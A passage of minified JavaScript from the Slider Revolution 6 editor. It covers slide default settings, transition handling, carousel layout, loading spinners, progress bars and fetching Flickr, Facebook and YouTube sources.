i.addOns=e.addOns||{},i.version=RVS.ENV.revision,i.static=f(e.static,{isstatic:!1,overflow:"hidden",position:"front",lastEdited:!0}),i.runtime=f(e.runtime,{collapsedGroups:[]}),i.title=f(e.title,"New Slide"),i.child=f(e.child,{parentId:"",language:""}),i.bg=f(e.bg,{type:"trans",color:"#ffffff",externalSrc:"",fit:"cover",fitX:"100",fitY:"100",position:"center center",positionX:"0",positionY:"0",repeat:"no-repeat",image:"",imageId:"",imageFromStream:!1,imageSourceType:"full",imageLib:"nothing",galleryType:"gallery",mpeg:"",ogv:"",webm:"",vimeo:"",youtube:"",mediaFilter:"none",video:{args:"",argsVimeo:"",dottedOverlay:"none",dottedOverlaySize:1,dottedColorA:"transparent",dottedColorB:"#000000",startAt:"",endAt:"",fitCover:!0,forceRewind:!0,loop:!0,pausetimer:!1,mute:!0,nextSlideAtEnd:!1,ratio:"16:9",speed:1,volume:0,startAfterTransition:!1},videoId:"",videoFromStream:!1}),void 0!==i&&void 0!==i.bg&&void 0!==i.bg.video&&(i.bg.video.dottedOverlay.indexOf("white")>0&&(i.bg.video.dottedColorB="rgba(255,255,255,255)"),i.bg.video.dottedOverlay.indexOf("twoxtwo")>=0?i.bg.video.dottedOverlay="1":i.bg.video.dottedOverlay.indexOf("threexthree")>=0&&(i.bg.video.dottedOverlay="2")),void 0!==i.bg.video&&void 0!==t&&(i.bg.video.loop=!0===i.bg.video.loop||void 0!==e&&void 0!==e.bg&&void 0!==e.bg.video&&("loopandnoslidestop"===e.bg.video.loop||"loop"===e.bg.video.loop||!0===e.bg.video.loop||"true"===e.bg.video.loop),i.bg.video.pausetimer=void 0===e.pausetimer||!0!==e.pausetimer&&!1!==e.pausetimer?void 0!==e&&void 0!==e.bg&&void 0!==e.bg.video&&"loop"===e.bg.video.loop:e.pausetimer,!0===i.bg.video.loop&&!0===i.bg.video.nextSlideAtEnd&&(i.bg.video.loop=!1)),i.thumb=f(e.thumb,{customThumbSrc:"",customThumbSrcId:"",customAdminThumbSrc:"",customAdminThumbSrcId:"",dimension:"orig"}),i.info=f(e.info,{params:[{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10},{v:"",l:10}],description:""}),i.attributes=f(e.attributes,{title:"",titleOption:"media_library",class:"",data:"",id:"",attr:"",alt:"",altOption:"media_library",deeplink:""}),i.publish=f(e.publish,{from:"",to:"",state:"published"}),i.timeline=f(e.timeline,{stopOnPurpose:!1,delay:"Default",loop:{set:!1,repeat:"unlimited",start:2500,end:4500}}),i.timeline.loop=void 0===i.timeline.loop?{set:!1,repeat:"unlimited",start:2500,end:4500}:i.timeline.loop,i.slideChange=void 0!==i.timeline.transition||void 0===e.slideChange?function(e,t){var i=e.transition;if(t)return RVS._R.getSlideAnim_EmptyObject();var a=["duration","rotation","easeIn","easeOut","slots","transition"];void 0!==e.slots&&(e.slots=d(l(e.slots)));void 0!==e.slots&&(e.slots=d(l(e.slots)));"undefined"!==e.transition&&void 0!==e.transition||(e.transition=["fade"]);if("random"===e.transition[0]||"random-static"===e.transition[0]||"random-premium"===e.transition[0]||"random"===e.transition||"random-static"===e.transition||"random-premium"===e.transition){e.transition=["rndany"],e.slots=[1];try{e.duration=void 0===e.duration||void 0===e.duration[0]||e.duration<500||e.duration[0]<500?750:e.duration}catch(e){}}for(var r in a)a.hasOwnProperty(r)&&(e[a[r]]=d(l(e[a[r]])));var s=!1;for(r in RVS.LIB.SLTR.basic)if(RVS.LIB.SLTR.basic.hasOwnProperty(r))for(var o in RVS.LIB.SLTR.basic[r]){if(s)continue;s=o===e.transition[0]}var n=m({key:"fade"==e.transition[0]||"default"==e.transition[0]?"fade":e.transition[0],slot:s?1:void 0!==e.slots&&void 0!==e.slots[0]&&"default"!==e.slots[0]?e.slots[0]:void 0});"3dcurtain-vertical"===e.transition[0]||"3dcurtain-horizontal"===e.transition[0]||"3dcurtain-vertical"===e.transition||"3dcurtain-horizontal"===e.transition?n.speed=void 0===e.duration[0]||"default"===e.duration[0]||"d"==e.duration[0]?500:parseInt(parseInt(e.duration[0])/3):void 0!==e.duration[0]&&"default"!==e.duration[0]&&(n.speed=e.duration[0]);"random"===n.speed&&(n.speed=1e3);void 0!==e.easeIn[0]&&"default"!==e.easeIn[0]&&(n.in.e=e.easeIn[0]);void 0!==e.easeOut[0]&&"default"!==e.easeOut[0]&&(n.out.e=e.easeOut[0]);void 0!==e.rotation[0]&&"default"!==e.rotation[0]&&0!==e.rotation[0]&&(n.in.r=e.rotation[0]);void 0!==e.rotation[0]&&"default"!==e.rotation[0]&&0!==e.rotation[0]&&(n.out.r=e.rotation[0]);if(void 0!==i&&Array.isArray(i)&&i.length>1){n.alt=[];for(var r=1;r<i.length;r++)n.alt.push(i[r])}return n}(i.timeline,t):f(e.slideChange,RVS._R.getSlideAnim_EmptyObject()),t&&void 0!==i.slideChange&&void 0!==i.slideChange.in&&1==i.slideChange.in.o&&delete i.slideChange.in.o,i.timeline.transition&&(delete i.timeline.duration,delete i.timeline.slots,delete i.timeline.easeIn,delete i.timeline.easeOut,delete i.timeline.transition,delete i.timeline.rotation),i.visibility=f(e.visibility,{hideAfterLoop:0,hideOnMobile:!1,hideFromNavigation:!1}),i.effects=f(e.effects,{parallax:"-",fade:"default",blur:"default",grayscale:"default"}),i.panzoom=f(e.panzoom,{set:!1,blurStart:0,blurEnd:0,duration:1e4,ease:"none",fitEnd:100,fitStart:100,xEnd:0,yEnd:0,xStart:0,yStart:0,rotateStart:0,rotateEnd:0}),i.seo=f(e.seo,{set:!1,link:"",linkHelp:"auto",slideLink:"nothing",target:"_self",z:"front",type:"regular",tag:"l"}),i.nav=f(e.nav,{arrows:{presets:{}},thumbs:{presets:{}},tabs:{presets:{}},bullets:{presets:{}}}),i},RVS.F.simplifySlide=function(e){return"zone"===e.type?jQuery.extend(!0,{},e):jQuery.extend(!0,{},RVS.F.simplifyObject(RVS.F.addSlideObj(void 0,!0),jQuery.extend(!0,{},e)))},RVS.F.simplifyAllSlide=function(e){for(var t in window.__Slides={},RVS.SLIDER.slideIDs)RVS.SLIDER.slideIDs.hasOwnProperty(t)&&(!RVS.F.isNumeric(RVS.SLIDER.slideIDs[t])&&RVS.SLIDER.slideIDs[t].indexOf("static")>=0||(window.__Slides[RVS.SLIDER.slideIDs[t]]=RVS.F.simplifySlide(RVS.SLIDER[RVS.SLIDER.slideIDs[t]].slide)))},RVS.F.expandSlide=function(e){return jQuery.extend(!0,RVS.F.addSlideObj(),e)},RVS.F.getImgWithCORS=function(e,t){URL&&"function"==typeof URL?new URL(t,window.location.href).origin!==window.location.origin&&(e.crossOrigin="anonymous"):console.warn("URL object is not available")},RVS.F.getSlideTransitionDefaults=function(e){return m(e)}}(),
/*!
 * REVOLUTION 6.0.0 EDITOR SLIDER JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
RVS.S.ulDIM={width:0,height:0},function(){void 0===tpGS.SFXBounceLite&&(tpGS.SFXBounceLite=tpGS.CustomBounce.create("SFXBounceLite",{strength:.3,squash:1,squashID:"SFXBounceLite-squash"})),void 0===tpGS.SFXBounceSolid&&(tpGS.SFXBounceSolid=tpGS.CustomBounce.create("SFXBounceSolid",{strength:.5,squash:2,squashID:"SFXBounceSolid-squash"})),void 0===tpGS.SFXBounceStrong&&(tpGS.SFXBounceStrong=tpGS.CustomBounce.create("SFXBounceStrong",{strength:.7,squash:3,squashID:"SFXBounceStrong-squash"})),void 0===tpGS.SFXBounceExtrem&&(tpGS.SFXBounceExtrem=tpGS.CustomBounce.create("SFXBounceExtrem",{strength:.9,squash:4,squashID:"SFXBounceExtrem-squash"})),void 0===tpGS.BounceLite&&(tpGS.BounceLite=tpGS.CustomBounce.create("BounceLite",{strength:.3})),void 0===tpGS.BounceSolid&&(tpGS.BounceSolid=tpGS.CustomBounce.create("BounceSolid",{strength:.5})),void 0===tpGS.BounceStrong&&(tpGS.BounceStrong=tpGS.CustomBounce.create("BounceStrong",{strength:.7})),void 0===tpGS.BounceExtrem&&(tpGS.BounceExtrem=tpGS.CustomBounce.create("BounceExtrem",{strength:.9}));var e,t,i,a,r,s,o,n,l,d,S,c,p,R,u={width:0,height:0},V={width:0,height:0},y={left:0,top:0},m={x:0,y:0};function f(e,t){var i='<div id="globalskin_colorrule_'+t+'">';null!==e&&(i+='<input type="text" value="'+e.alias+'" class="globalskin_alias easyinit sliderinput" data-r="skins.colors.'+t+'.alias">',i+='<input class="my-color-field skininput easyinit" data-evt="updateAllSkinColors" data-evtparam="'+t+'" data-visible="true" data-editing="Global Skin Color" name="skin-color-'+t+'" data-mode="'+(function(e){var t=!1;for(var i in e.ref)e.ref.hasOwnProperty(i)&&(t=!0===t||RVS.F.noGradient(e.ref[i].r));return t}(e)?"single":"full")+'" id="sr_skin_color_'+t+'" data-r="skins.colors.'+t+'.v" type="text" value="'+e.v+'">',i+='<div style="margin-left:5px" data-evt="deleteSkinColor" data-evtparam="'+t+'" class="'+(t<1?"disabled":"")+' callEventButton basic_action_button onlyicon "><i class="material-icons">delete</i></div>',i+="</div>",i=jQuery(i),RVS.ENV.skinColors.append(i),RVS.F.initTpColorBoxes(i.find(".my-color-field")))}function h(e){void 0!==window.initQuickGuide&&window.initQuickGuide.page!=window.initQuickGuide.active&&(RVS.F.updateEasyInputs({container:jQuery(".mcg_option_third_wraps"),trigger:"init",path:"settings."}),jQuery("#mcg_page_"+window.initQuickGuide.page).addClass("mcg_selected"),tpGS.gsap.fromTo("#mcg_page_"+window.initQuickGuide.page,.5,{x:-1===e?"-100%":"100%"},{x:"0%",ease:"power3.inOut"}),tpGS.gsap.fromTo("#mcg_page_"+window.initQuickGuide.active,.5,{x:"0%"},{x:-1===e?"100%":"-100%",ease:"power3.inOut",onComplete:function(){jQuery("#mcg_page_"+window.initQuickGuide.active).removeClass("mcg_selected"),window.initQuickGuide.active=window.initQuickGuide.page}}))}function g(e){1==RVS.S.TRTIS_initied||void 0!==e&&"init"!==e?"update"===e&&1==RVS.S.TRTIS_initied&&(clearTimeout(RVS.S.scrollUpdateTimer),RVS.S.scrollUpdateTimer=setTimeout(function(){RVS.C.rb.RSScroll("update"),jQuery("#the_right_toolbar_inner").RSScroll("update")},50)):(RVS.S.rb_ScrollX=0,RVS.S.rb_ScrollY=0,p=jQuery("#settings_sticky_info"),RVS.C.rb.RSScroll({wheelPropagation:!0,minScrollbarLength:100}),jQuery("#the_right_toolbar_inner").RSScroll({wheelPropagation:!0,suppressScrollX:!0,minScrollbarLength:100}).on("ps-scroll-y",function(){this.scrollTop>50?p.show():p.hide(),RVS.S.respInfoBar&&RVS.S.respInfoBar.toolbar&&null!==RVS.S.respInfoBar.toolbar[0]&&(RVS.S.respInfoBar.toolbar[0].style.display="none")}),RVS.C.rb.on("ps-scroll-x",function(){RVS.S.rb_ScrollX=m.x=this.scrollLeft,RVS.F.setRulers()}),RVS.C.rb.on("ps-scroll-y",function(){m.x=this.scrollLeft,m.y=this.scrollTop,RVS.S.rb_ScrollY=m.y=this.scrollTop,RVS.F.setRulers()}),RVS.S.TRTIS_initied=!0)}function v(e,t){("force"===t||R||void 0===R)&&("flickr"===RVS.SLIDER.settings.sourcetype&&w(),"facebook"===RVS.SLIDER.settings.sourcetype&&b(),"youtube"===RVS.SLIDER.settings.sourcetype&&F()),R=!1,RVS.DOC.trigger("updatesliderthumb")}function _(e){jQuery("rs-loader").css("background","").find("div").css("background","");var t,i=parseInt(RVS.SLIDER.settings.layout.spinner.type,10);if(NaN===i||i<6)t='<div class="dot1"></div><div class="dot2"></div><div class="bounce1"></div><div class="bounce2"></div><div class="bounce3"></div>';else{var a,r=[10,0,4,2,5,9,0,4,4,2][i-6];if(t='<div class="rs-spinner-inner"',e||(e=RVS.SLIDER.settings.layout.spinner.color),7===i)-1!==e.search("#")?a=RSColor.processRgba(e):-1!==e.search("rgb")&&(a=RSColor.rgbValues(e)).length>2&&(a=RSColor.rgbString(a[0].trim(),a[1].trim(),a[2].trim())),a&&"string"==typeof e&&(-1===(a=a.replace(")",", ")).search("rgba")&&(a=a.replace("rgb","rgba")),t+=' style="border-top-color: '+a+"0.65); border-bottom-color: "+a+"0.15); border-left-color: "+a+"0.65); border-right-color: "+a+'0.15)"');else 12===i&&(t+=' style="background:'+e+'"');t+=">";for(var s=0;s<r;s++)s>0&&(t+=" "),t+='<span style="background:'+e+'"></span>';t+="</div>"}return t}function L(e){e=void 0===e?RVS.SLIDER.settings.layout.spinner.color:e;var t=RVS.SLIDER.settings.layout.spinner.type;0!=t&&5!=t||(e="#ffffff");var i=jQuery("rs-loader");0==t||1==t||2==t||5==t?i.css({backgroundColor:e}):3==t||4==t?(i.css({backgroundColor:"transparent"}),i.find("div").css({backgroundColor:e})):i.html(_(e))}function w(){var e=RVS.SLIDER.settings.source.flickr;if("photosets"==e.type)if(""!=e.userURL&&""!=e.apiKey){var t={url:e.userURL,key:e.apiKey,count:e.count,set:e.photoSet};RVS.F.ajaxRequest("get_flickr_photosets",t,function(t){jQuery("#sr_src_flickr_photoset").html(t.data.html),RVS.F.setS2Option({select:jQuery("#sr_src_flickr_photoset"),selectValue:e.photoSet})})}else jQuery("#sr_src_flickr_photoset").html(""),RVS.F.setS2Option({select:jQuery("#sr_src_flickr_photoset"),selectValue:""})}function b(){var e=RVS.SLIDER.settings.source.facebook;if("album"==e.typeSource)if(""!=e.appId&&""!=e.page_id){var t={app_id:e.appId,page_id:e.page_id};RVS.F.ajaxRequest("get_facebook_photosets",t,function(t){jQuery("#sr_src_facebok_album").html(t.html),RVS.F.setS2Option({select:jQuery("#sr_src_facebok_album"),selectValue:e.album})})}else jQuery("#sr_src_facebok_album").html(""),RVS.F.setS2Option({select:jQuery("#sr_src_facebok_album"),selectValue:""})}function F(){var e=RVS.SLIDER.settings.source.youtube;if("playlist"==e.typeSource)if(""!=e.api&&""!=e.channelId){var t={api:e.api,id:e.channelId,playlist:e.playList};RVS.F.ajaxRequest("get_youtube_playlists",t,function(t){if(jQuery("#sr_src_youtube_playlist").html(t.data.html),""===e.playList){var i=jQuery("#sr_src_youtube_playlist option").first();e.playList=i[0].value}RVS.F.setS2Option({select:jQuery("#sr_src_youtube_playlist"),selectValue:e.playList})})}else jQuery("#sr_src_youtube_playlist").html(""),RVS.F.setS2Option({select:jQuery("#sr_src_youtube_playlist"),selectValue:""})}function I(e){var t=!1,i={w:RVS.F.GW("d"),h:RVS.SLIDER.settings.size.height.d};for(var a in RVS.V.sizes)RVS.V.sizes.hasOwnProperty(a)&&(!t&&RVS.SLIDER.settings.size.custom[RVS.V.sizes[a]]&&(i.w=RVS.F.GW(RVS.V.sizes[a]),i.h=parseInt(RVS.SLIDER.settings.size.height[RVS.V.sizes[a]],0)),RVS.V.sizes[a]===e&&(t=!0));return i}function D(t,i){var a=RVS.SLIDER.settings.size.custom[RVS.screen],r=I(RVS.screen),s=a?RVS.F.GW(RVS.screen):Math.min(r.w,RVS.ENV.grid_sizes[RVS.screen]),n=a?parseInt(RVS.SLIDER.settings.size.height[RVS.screen],0):s/r.w*r.h,l="fullscreen"===RVS.SLIDER.settings.layouttype?RVS.SLIDER.settings.size.minHeightFullScreen:RVS.SLIDER.settings.size.minHeight,d="100%",S=n/s;RVS.SLIDER.settings.carousel.justify&&"carousel"===RVS.SLIDER.settings.type?RVS.C.tRC.classList.add("_just_carousel_"):RVS.C.tRC.classList.remove("_just_carousel_"),l="none"!==l&&RVS.F.isNumeric()?l:0,l="fullscreen"===RVS.SLIDER.settings.layouttype?Math.max(Math.max(l,RVS.S.winh-RVS.ENV.globVerOffset-65),n):Math.max(l,n),l=RVS.SLIDER.settings.size.respectAspectRatio?Math.max(RVS.C.rb.width(),s)*S:l,RVS.F.updateMinSliderHeights(),l=Math.max(l,c),S=(n=Math.max(n,c))/s;var p=s,R=parseInt(RVS.SLIDER.settings.layout.bg.padding,0)||0;RVS.S.dim_offsets=RVS.F.sliderDimensionOffsets(),RVS.F.isNumeric(RVS.SLIDER.settings.size.maxWidth)&&RVS.SLIDER.settings.size.maxWidth>0&&(p=Math.min(parseInt(RVS.SLIDER.settings.size.maxWidth,0),s)+"px"),tpGS.gsap.set([e,".layer_grid"],{width:s+"px",maxWidth:"none",height:n+"px"}),tpGS.gsap.set(RVS.C.UL,{minWidth:parseInt(p,0)+parseInt(R,0)+"px",maxWidth:"none",width:d,minHeight:parseInt(l,0)+parseInt(R,0)}),RVS.S.ulDIM={width:RVS.C.UL.width(),height:RVS.C.UL.height()},RVS.RMD="carousel"===RVS.SLIDER.settings.type?{width:s,height:n}:{width:RVS.S.ulDIM.width,height:RVS.S.ulDIM.height};var u=Math.max(0,RVS.S.ulDIM.width/2-s/2),V=Math.max(0,(RVS.S.ulDIM.height-n)/2);tpGS.gsap.set(RVS.C.UL,{minHeight:RVS.S.ulDIM.height+RVS.S.dim_offsets.carouseloffset+RVS.S.dim_offsets.navtop+RVS.S.dim_offsets.navbottom,minWidth:p}),V=V+RVS.S.dim_offsets.carouseltop+RVS.S.dim_offsets.navtop,u=Math.max(0,u),V=Math.max(0,V);var y=document.getElementById("slide_"+RVS.S.slideId);"carousel"===RVS.SLIDER.settings.type?(y&&tpGS.gsap.set(y,{width:s,height:n,top:V,left:u,overflow:"hidden",borderRadius:RVS.SLIDER.settings.carousel.borderRadius}),tpGS.gsap.set([".layer_grid"],{x:0,y:0,left:"0px",top:"0px"}),tpGS.gsap.set(e,{x:0,y:0,left:u+"px",top:V}),tpGS.gsap.set(".slots_wrapper",{top:0,left:0,maxWidth:"none",maxHeight:"none"})):(y&&tpGS.gsap.set(y,{width:"100%",height:"100%",top:0,left:0,overflow:"visible",borderRadius:0}),tpGS.gsap.set([e,".layer_grid"],{x:0,y:0,left:u+"px",top:V}),tpGS.gsap.set(".slots_wrapper",{top:0,left:0,maxWidth:Math.max(RVS.S.ulDIM.width,o.width())+"px",maxHeight:RVS.S.ulDIM.height+"px"})),t&&x(),i&&RVS.F.updateScreenShrinks(),RVS.F.updateContentDeltas(),"carousel"===RVS.SLIDER.settings.type?function(e){var t=RVS.SLIDER.settings,i=jQuery("#fake_carousel_elements"),a=0,r=1,s="center"===t.carousel.horizontal?2:1,o=0,n=0;jQuery(".fakecarouselslide").hide();for(var l=1;l<t.carousel.maxItems;l++){var d,S=jQuery("#fakecarouselslide_"+l);0===S.length&&(S=jQuery('<div class="fakecarouselslide" id="fakecarouselslide_'+l+'"></div>'),i.append(S)),o=l%2==1?o+1:o,d={width:e.width,height:e.height,top:e.top,borderRadius:t.carousel.borderRadius,display:"block"};var c=parseInt(t.carousel.scaleDown,0)/100,p=parseInt(t.carousel.maxRotation,0),R=parseInt(t.carousel.maxOpacity,0)/100;t.carousel.fadeOut?t.carousel.varyFade?d.autoAlpha=1-Math.abs(R/Math.ceil(t.carousel.maxItems/s)*o):d.autoAlpha=o>=1||o<=-1?R:R+(1-R)*(1-Math.abs(o)):d.autoAlpha=Math.abs(o)<Math.ceil(t.carousel.maxItems/s)?1:0,t.carousel.scale&&void 0!==t.carousel.scaleDown&&c>0?(t.carousel.varyScale?d.scale=1-Math.abs((1-c)/Math.ceil(t.carousel.maxItems/s)*o):d.scale=o*r>=1||o*r<=-1?c:100-c*Math.abs(o),n=o*(d.width-d.width*d.scale)/2):d.scale=1,a=l%2==1?parseFloat(a)+parseFloat(e.width)+parseInt(t.carousel.space,0)*(t.carousel.offsetScale?d.scale:1):a,d.left=parseFloat(e.left)+r*a,t.carousel.rotation&&void 0!==t.carousel.maxRotation&&0!=Math.abs(p)?(t.carousel.varyRotate?(d.rotationY=Math.abs(p)-Math.abs((1-Math.abs(1/Math.ceil(t.carousel.maxItems/s)*o))*p),d.autoAlpha=Math.abs(d.rotationY)>90?0:d.autoAlpha):d.rotationY=o*r>=1||o*r<=-1?p:Math.abs(o)*p,d.rotationY=d.rotationY*r*-1):d.rotationY=0,void 0!==d.scale&&1!==d.scale&&(d.left=r<0?d.left+n:d.left-n),d.zIndex=Math.round(100-Math.abs(5*o)),d.force3D=!0,d.transformStyle="flat",d.transformPerspective=1200,d.transformOrigin="50% "+t.carousel.vertical,tpGS.gsap.set(S,d),r*=-1}}({width:s,height:n,top:V,left:u}):jQuery(".fakecarouselslide").remove(),RVS.F.sliderNavPositionUpdate({type:"arrows"}),RVS.F.sliderNavPositionUpdate({type:"bullets"}),RVS.F.sliderNavPositionUpdate({type:"tabs"}),RVS.F.sliderNavPositionUpdate({type:"thumbs"}),g("update"),RVS.F.setRulers(),(void 0===RVS.S.firstPreparation||RVS.S.firstPreparation<2)&&(RVS.S.firstPreparation=void 0===RVS.S.firstPreparation?0:RVS.S.firstPreparation,RVS.S.firstPreparation++,2==RVS.S.firstPreparation&&RVS.F.expandCollapseTimeLine(!0,"open",!0))}function x(){for(var e in RVS.V.sizes)if(RVS.V.sizes.hasOwnProperty(e)){var t=RVS.V.sizes[e],i=RVS.SLIDER.settings.size.custom[t],a=I(t),r=i?RVS.F.GW(t):Math.min(a.w,RVS.ENV.grid_sizes[t]),s=i?parseInt(RVS.SLIDER.settings.size.height[t],0):r/a.w*a.h;r=Math.round(r),s=Math.round(s),jQuery("#sr_size_width_"+t).val(r+"px"),jQuery("#sr_size_height_"+t).val(s+"px")}var o="none"===RVS.SLIDER.settings.size.maxWidth||0===RVS.SLIDER.settings.size.maxWidth||""===RVS.SLIDER.settings.size.maxWidth?"none":RVS.SLIDER.settings.size.maxWidth;jQuery("#sr_size_maxwidth").val(o),jQuery("#sr_size_minheight").val(RVS.SLIDER.settings.size.minHeight),jQuery("#sr_size_minheight_fs").val(RVS.SLIDER.settings.size.minHeightFullScreen),void 0!==d&&(d.innerHTML=Math.round(RVS.F.GW(RVS.screen))+"px")}function C(e){requestAnimationFrame(function(){tpGS.gsap.set(RVS.S.ulInner,{backgroundImage:""});var e=RVS.SLIDER.settings,t=window.RSColor.get(e.layout.bg.color),i=e.layout.bg.useImage&&void 0!==e.layout.bg.image?e.layout.bg.image:"";""!==i?tpGS.gsap.set([RVS.S.ulInner,"#slider_bg_image"],{backgroundPosition:e.layout.bg.position,"background-size":e.layout.bg.fit,backgroundRepeat:e.layout.bg.repeat,backgroundImage:"url("+i+")"}):t.indexOf("gradient")>=0?tpGS.gsap.set([RVS.S.ulInner,"#slider_bg_image"],{background:t}):"transparent"!==t?tpGS.gsap.set([RVS.S.ulInner,"#slider_bg_image"],{backgroundColor:t,backgroundImage:"none"}):tpGS.gsap.set([RVS.S.ulInner,"#slider_bg_image"],{backgroundColor:"transparent",backgroundImage:RVS.S.defaultMainPNG,backgroundRepeat:"repeat","background-size":"16px 16px"}),k(),setTimeout(function(){RVS.F.updateEasyInputs({container:jQuery("#slider_used_library"),trigger:"init"}),RVS.F.updateEasyInputs({container:jQuery("#slider_used_library_lists"),trigger:"init"}),RVS.F.updateEasyInputs({container:jQuery("#slider_bg_inputfields"),trigger:"init"})},100)})}function k(){RVS.C.sliderOverlay=void 0===RVS.C.sliderOverlay?document.getElementById("slider_overlay"):RVS.C.sliderOverlay,RVS.C.sliderOverlay.style.backgroundImage=RVS._R.createOverlay("slider",RVS.SLIDER.settings.layout.bg.dottedOverlay,RVS.SLIDER.settings.layout.bg.dottedOverlaySize,{0:RVS.SLIDER.settings.layout.bg.dottedColorA,1:RVS.SLIDER.settings.layout.bg.dottedColorB})}function O(){requestAnimationFrame(T)}function T(){var e=RVS.SLIDER.settings.general.progressbar;RVS.C.pbar=void 0===RVS.C.pbar?jQuery("#rev_progress_bar_wrap"):RVS.C.pbar,RVS.C.pbar_lc=void 0===RVS.C.pbar_lc?document.getElementById("progressbar_selector_left-center"):RVS.C.pbar_lc,RVS.C.pbar_rc=void 0===RVS.C.pbar_rc?document.getElementById("progressbar_selector_right-center"):RVS.C.pbar_rc,RVS.C.pbar_ct=void 0===RVS.C.pbar_ct?document.getElementById("progressbar_selector_center-top"):RVS.C.pbar_ct,RVS.C.pbar_cb=void 0===RVS.C.pbar_cb?document.getElementById("progressbar_selector_center-bottom"):RVS.C.pbar_cb,RVS.C.pbar_cc=void 0===RVS.C.pbar_cc?document.getElementById("progressbar_selector_center-center"):RVS.C.pbar_cc,RVS.C.pbar_lc=void 0===RVS.C.pbar_lc?document.getElementById("progressbar_selector_left-center"):RVS.C.pbar_lc,"grid"===e.alignby&&void 0!==RVS.C.layergrid?RVS.C.layergrid.append(RVS.C.pbar):RVS.S.ulInner.append(RVS.C.pbar),"horizontal"===e.style?(tpGS.gsap.set([RVS.C.pbar_lc,RVS.C.pbar_rc],{display:"block"}),tpGS.gsap.set([RVS.C.pbar_ct,RVS.C.pbar_cb,RVS.C.pbar_cc],{display:"none"})):"vertical"===e.style?(tpGS.gsap.set([RVS.C.pbar_ct,RVS.C.pbar_cb],{display:"block"}),tpGS.gsap.set([RVS.C.pbar_lc,RVS.C.pbar_rc,RVS.C.pbar_cc],{display:"none"})):tpGS.gsap.set([RVS.C.pbar_ct,RVS.C.pbar_cb,RVS.C.pbar_lc,RVS.C.pbar_rc,RVS.C.pbar_cc],{display:"block"});var t="grid"===e.alignby?RVS.S.lgw:RVS.S.ulDIM.width,i="grid"===e.alignby?RVS.S.lgh:RVS.S.ulDIM.height;if(e.set&&"hero"!==RVS.SLIDER.settings.style){if("horizontal"===e.style||"vertical"===e.style){var a,r;RVS.C.pbar[0].innerHTML="module"===e.basedon?'<div class="rev_progress_bar"></div><div class="rev_progress_bar"></div><div class="rev_progress_bgs"><div class="rev_progress_bg"></div><div class="rev_progress_bg"></div><div class="rev_progress_bg"></div><div class="rev_progress_bg"></div></div><div class="rev_progress_gap"></div><div class="rev_progress_gap"></div><div class="rev_progress_gap"></div>':'<div class="rev_progress_bar"></div>',RVS.C.pbars=RVS.C.pbar[0].getElementsByClassName("rev_progress_bar"),RVS.C.pbbgs=RVS.C.pbar[0].getElementsByClassName("rev_progress_bg"),RVS.C.pbgaps=RVS.C.pbar[0].getElementsByClassName("rev_progress_gap"),"horizontal"===e.style?(a=Math.ceil(t/4),r=Math.ceil((t-3*parseInt(e.gapsize,0))/4),tpGS.gsap.set(RVS.C.pbar,{top:"top"===e.vertical?e.y:"center"===e.vertical?"50%":"auto",bottom:"top"===e.vertical||"center"===e.vertical?"auto":e.y,y:"center"===e.vertical?e.y:0,x:0,left:0,right:"auto",width:"100%",height:e.size,marginTop:"grid"===e.alignby?0:"bottom"===e.vertical?0:(e.vertical,0),backgroundColor:"module"===e.basedon?"transparent":e.bgcolor}),tpGS.gsap.set(RVS.C.pbars,{backgroundColor:e.color,y:0,x:"module"===e.basedon?e.gap?function(t){return("right"===e.horizontal?3-t:t)*(r+parseInt(e.gapsize,0))}:function(t){return("right"===e.horizontal?3-t:t)*a}:"right"===e.horizontal?a:0,width:"module"===e.basedon?e.gap?r+"px":"25%":"75%",height:"100%"}),"module"===e.basedon&&tpGS.gsap.set(RVS.C.pbbgs,{backgroundColor:e.bgcolor,y:0,x:"module"===e.basedon?e.gap?function(t){return t*(r+parseInt(e.gapsize,0))}:function(e){return e*a}:0,width:"module"===e.basedon?e.gap?r+"px":"25%":"75%",height:"100%"}),tpGS.gsap.set(RVS.C.pbgaps,{backgroundColor:e.gapcolor,height:"100%",width:"module"===e.basedon&&e.gap?e.gapsize+"px":0,y:0,x:"module"===e.basedon&&e.gap?function(t){return(t+1)*r+parseInt(e.gapsize,0)*t}:0})):"vertical"===e.style&&(a=i/4,r=(i-3*parseInt(e.gapsize,0))/4,tpGS.gsap.set(RVS.C.pbar,{left:"left"===e.horizontal?e.x:"center"===e.horizontal?"50%":"auto",right:"left"===e.horizontal||"center"===e.horizontal?"auto":e.x,x:"center"===e.horizontal?e.x:0,y:(e.alignby,0),top:0,bottom:"auto",height:"100%",width:e.size,marginLeft:"grid"===e.alignby?0:"left"===e.horizontal?0:(e.horizontal,0),backgroundColor:"module"===e.basedon?"transparent":e.bgcolor}),tpGS.gsap.set(RVS.C.pbars,{backgroundColor:e.color,y:"module"===e.basedon?e.gap?function(t){return("bottom"===e.vertical?3-t:t)*(r+parseInt(e.gapsize,0))}:function(t){return("bottom"===e.vertical?3-t:t)*a}:"bottom"===e.vertical?a:0,height:"module"===e.basedon?e.gap?r+"px":"25%":"75%",width:"100%"}),"module"===e.basedon&&tpGS.gsap.set(RVS.C.pbbgs,{backgroundColor:e.bgcolor,y:"module"===e.basedon?e.gap?function(t){return t*(r+parseInt(e.gapsize,0))}:function(e){return e*a}:0,height:"module"===e.basedon?e.gap?r+"px":"25%":"75%",width:"100%"}),tpGS.gsap.set(RVS.C.pbgaps,{backgroundColor:e.gapcolor,width:"100%",height:"module"===e.basedon&&e.gap?e.gapsize+"px":0,x:0,y:"module"===e.basedon&&e.gap?function(t){return(t+1)*r+parseInt(e.gapsize,0)*t}:0}))}else RVS.C.pbar[0].innerHTML='<canvas width="'+2*e.radius+'" height="'+2*e.radius+'" style="position:absolute" class="rev_progress_bar"></canvas>',RVS.C.pbars=RVS.C.pbar[0].getElementsByClassName("rev_progress_bar")[0],tpGS.gsap.set(RVS.C.pbar,{top:"top"===e.vertical?e.y:"center"===e.vertical?"50%":"auto",bottom:"top"===e.vertical||"center"===e.vertical?"auto":e.y,left:"left"===e.horizontal?e.x:"center"===e.horizontal?"50%":"auto",right:"left"===e.horizontal||"center"===e.horizontal?"auto":e.x,y:"center"===e.vertical?e.y:0,x:"center"===e.horizontal?e.x:0,width:2*e.radius,height:2*e.radius,marginTop:"bottom"===e.vertical?0:"top"===e.vertical?0:0-e.radius,marginLeft:"left"===e.horizontal?0:"right"===e.horizontal?0:0-e.radius,backgroundColor:"transparent"}),j();RVS.C.pbar.removeClass("deactivated")}else 